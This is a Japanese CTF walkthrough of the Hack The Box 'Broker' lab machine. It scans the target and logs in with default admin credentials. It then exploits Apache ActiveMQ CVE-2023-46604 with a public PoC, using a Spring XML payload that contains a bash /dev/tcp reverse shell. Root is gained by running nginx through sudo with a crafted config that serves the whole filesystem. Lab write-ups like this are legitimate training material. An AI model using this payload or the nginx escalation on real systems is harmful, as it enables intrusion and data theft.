【Hack The Box】Broker writeup

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人生で初めてWriteUpっていうものを書きます(OSCPでレポート書いてるやろ…)

ユーザフラグ

nmapを試して80番開いているのでアクセスしてみます

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap 10.10.11.243 -p- -sV -vv --open --reason
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-30 06:03 EST
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 06:03
Scanning 10.10.11.243 [4 ports]
Completed Ping Scan at 06:03, 2.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:03
Completed Parallel DNS resolution of 1 host. at 06:03, 0.01s elapsed
Initiating SYN Stealth Scan at 06:03
Scanning 10.10.11.243 [65535 ports]
Discovered open port 80/tcp on 10.10.11.243
Discovered open port 22/tcp on 10.10.11.243
SYN Stealth Scan Timing: About 8.56% done; ETC: 06:09 (0:05:42 remaining)
SYN Stealth Scan Timing: About 8.65% done; ETC: 06:15 (0:10:55 remaining)
Discovered open port 61613/tcp on 10.10.11.243
SYN Stealth Scan Timing: About 7.97% done; ETC: 06:22 (0:17:42 remaining)
SYN Stealth Scan Timing: About 8.08% done; ETC: 06:28 (0:23:07 remaining)
SYN Stealth Scan Timing: About 8.22% done; ETC: 06:33 (0:28:17 remaining)
SYN Stealth Scan Timing: About 8.33% done; ETC: 06:39 (0:33:23 remaining)
SYN Stealth Scan Timing: About 8.45% done; ETC: 06:44 (0:38:18 remaining)
SYN Stealth Scan Timing: About 8.55% done; ETC: 06:50 (0:43:08 remaining)
SYN Stealth Scan Timing: About 8.70% done; ETC: 06:55 (0:47:35 remaining)
SYN Stealth Scan Timing: About 8.83% done; ETC: 07:00 (0:51:58 remaining)
SYN Stealth Scan Timing: About 10.76% done; ETC: 06:54 (0:45:53 remaining)
SYN Stealth Scan Timing: About 13.04% done; ETC: 06:49 (0:40:13 remaining)

とりあえず以下のデフォルトパスワードを試してみます

Username: admin
Password: admin

ログインができて、ActiveMQが動いていることがわかりました

CVE-2023-46604のRCEの脆弱性があることがわかりました

Exploitコードが公開されています

GitHub - SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ: Achieving a Reverse Shell Exploit for Apache ActiveMQ (CVE_2023-46604)
Achieving a Reverse Shell Exploit for Apache ActiveMQ (CVE_2023-46604) - GitHub - SaumyajeetDas/CVE-2023-46604-RCE-Rever...
github.com
┌──(kali㉿kali)-[~/broker]
└─$ git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ.git

Golangが入ってなかったのでGolangをインストールします

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ sudo apt install golang-go

ソースコードをビルドします

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ go build main.go

ビルドができたので試しに起動します

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ ./main 
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

Usage of ./main:
  -i string
        ActiveMQ Server IP or Host
  -p string
        ActiveMQ Server Port (default "61616")
  -u string
        Spring XML Url

poc.xmlにコードを書き込んで実行するそうです

XMLエスケープ | devroom
XML用の文字列にエスケープ文字変換できます。エスケープ対象の文字は、<　>　&　"　'の5つです。
devroom.azurewebsites.net

<value>にReverseShellを入れました

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>bash</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>bash -i &gt;&amp; /dev/tcp/10.10.14.104/9001 0&gt;&amp;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

ローカルマシンをファイルサーバにします

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ python3 -m http.server 80

ncコマンドでリッスンしておきます

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ nc -lnvp 9001
listening on [any] 9001 ...

コードを実行します

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ ./main -i 10.10.11.243 -u http://10.10.14.104/poc-linux.xml
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.104/poc-linux.xml

[*] Sending packet: 000000741f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010021687474703a2f2f31302e31302e31342e3130342f706f632d6c696e75782e786d6c

シェルの取得ができました

┌──(kali㉿kali)-[~/broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.11.243] 40788
bash: cannot set terminal process group (884): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd ~
cd ~
activemq@broker:~$ ls
ls
user.txt
activemq@broker:~$ cat user.txt
cat user.txt

ルートフラグ

とりあえずsudoできるかチェックします

activemq@broker:~$ sudo -l
sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

nginxはどうやらrootで動作しそうなので、nginxのコンフィグをいじりディレクトリサーバとして稼働するようにします

-c オプションにコンフィグを指定して起動できるのでコンフィグを書きます

activemq@broker:~$ sudo nginx -h
sudo nginx -h
nginx version: nginx/1.18.0 (Ubuntu)
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]

Options:
  -?,-h         : this help
  -v            : show version and exit
  -V            : show version and configure options then exit
  -t            : test configuration and exit
  -T            : test configuration, dump it and exit
  -q            : suppress non-error messages during configuration testing
  -s signal     : send signal to a master process: stop, quit, reopen, reload
  -p prefix     : set prefix path (default: /usr/share/nginx/)
  -c filename   : set configuration file (default: /etc/nginx/nginx.conf)
  -g directives : set global directives out of configuration file

以下コンフィグです

user root;
worker_processes auto;
pid /run/nginx5.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {
    server{
        listen       8080;
        root /;
        autoindex on;
        location / {
            try_files $uri $uri/ =404;
        }
    }
}

curlコマンドで上のコンフィグを持ってきます

activemq@broker:/tmp$ curl -O http://10.10.14.104/nginx.conf
curl -O http://10.10.14.104/nginx.conf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   332  100   332    0     0    646      0 --:--:-- --:--:-- --:--:--   647

以下のコマンドを使用してnginxを起動させます(相対パス指定だと永遠と起動しなかったので絶対パスで起動します)

activemq@broker:/tmp$ sudo nginx -c /tmp/nginx.conf
sudo nginx -c /tmp/nginx.conf
activemq@broker:/tmp$

8080ポートでアクセスするとLinux内のディレクトリが表示されます

もちろんrootフォルダも確認できます

スポンサーリンク

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